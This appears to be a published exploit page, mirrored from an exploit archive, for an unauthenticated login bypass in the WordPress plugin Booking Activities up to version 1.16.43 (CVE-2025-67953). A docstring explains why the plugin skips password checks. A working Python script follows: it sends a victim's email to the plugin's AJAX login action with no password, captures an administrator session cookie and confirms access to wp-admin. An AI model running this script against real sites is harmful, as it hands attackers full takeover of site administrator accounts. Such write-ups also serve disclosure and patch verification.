Share
## https://sploitus.com/exploit?id=PACKETSTORM:226456
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Booking Activities <= 1.16.43 - Unauthenticated Authentication Bypass (Login Without Password)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/booking-activities/
    # Software Link: https://downloads.wordpress.org/plugin/booking-activities.1.16.43.zip
    # Version: 1.16.43 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-67953
    """
    Booking Activities <= 1.16.43 registers the unauthenticated AJAX action bookactiSubmitLoginForm
    (controller/controller-forms.php:858 wp_ajax_nopriv_bookactiSubmitLoginForm ->
    bookacti_controller_validate_login_form) with NO nonce / CSRF check. When login_type=my_account and
    the target booking form's login field is configured with password NOT required
    (required_fields[password] empty), bookacti_validate_login() looks the account up by email/login and
    SKIPS wp_authenticate entirely, then bookacti_log_user_in() calls wp_set_auth_cookie() for that user:
    
        1457 $user = get_user_by( is_email($user_login)?'email':'login', $user_login );
        1467 else if($require_authentication){ wp_authenticate(...); }   // SKIPPED when password not required
        ...  wp_set_auth_cookie($user->ID, true);                        // full session as the target
    
    An unauthenticated attacker submits the login form with the victim's email (e.g. the administrator's)
    and NO password, receiving a valid administrator session cookie -> full account takeover.
    
    Prior state: plugin active + a booking form whose login field has password NOT required and
    login_type 'my_account' available (a "retrieve my booking by email" style form). This is a saved
    form setting read from the DB (not attacker-toggleable), so the victim site must be configured that
    way. setup_state.sh builds such a form.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--form-id", default="1")
        ap.add_argument("--victim", default="victimba@site.test", help="victim email or login")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
        d = {"action": "bookactiSubmitLoginForm", "form_id": args.form_id, "login_type": "my_account",
             "email": args.victim, "remember": "1"}
        r = s.post(base + "/wp-admin/admin-ajax.php", data=d, timeout=25)
        logged = any(c.startswith("wordpress_logged_in") for c in s.cookies.keys())
        print(f"[*] Target: {base} | form {args.form_id} | victim: {args.victim}")
        print(f"[*] login (no password) -> HTTP {r.status_code} | logged_in cookie: {logged}")
        print(f"[*] response: {r.text[:160]}")
        if not logged:
            print("\n[-] no session cookie (form password-required? wrong form-id/email?)"); return 1
        p = s.get(base + "/wp-admin/", timeout=20)
        if p.status_code == 200 and "dashboard" in p.text.lower():
            print(f"\n[+] AUTH BYPASS CONFIRMED โ€” unauthenticated caller now holds the victim's session "
                  f"and reached wp-admin (no password supplied).")
            return 0
        print(f"\n[-] cookie set but wp-admin not reached ({p.status_code})"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())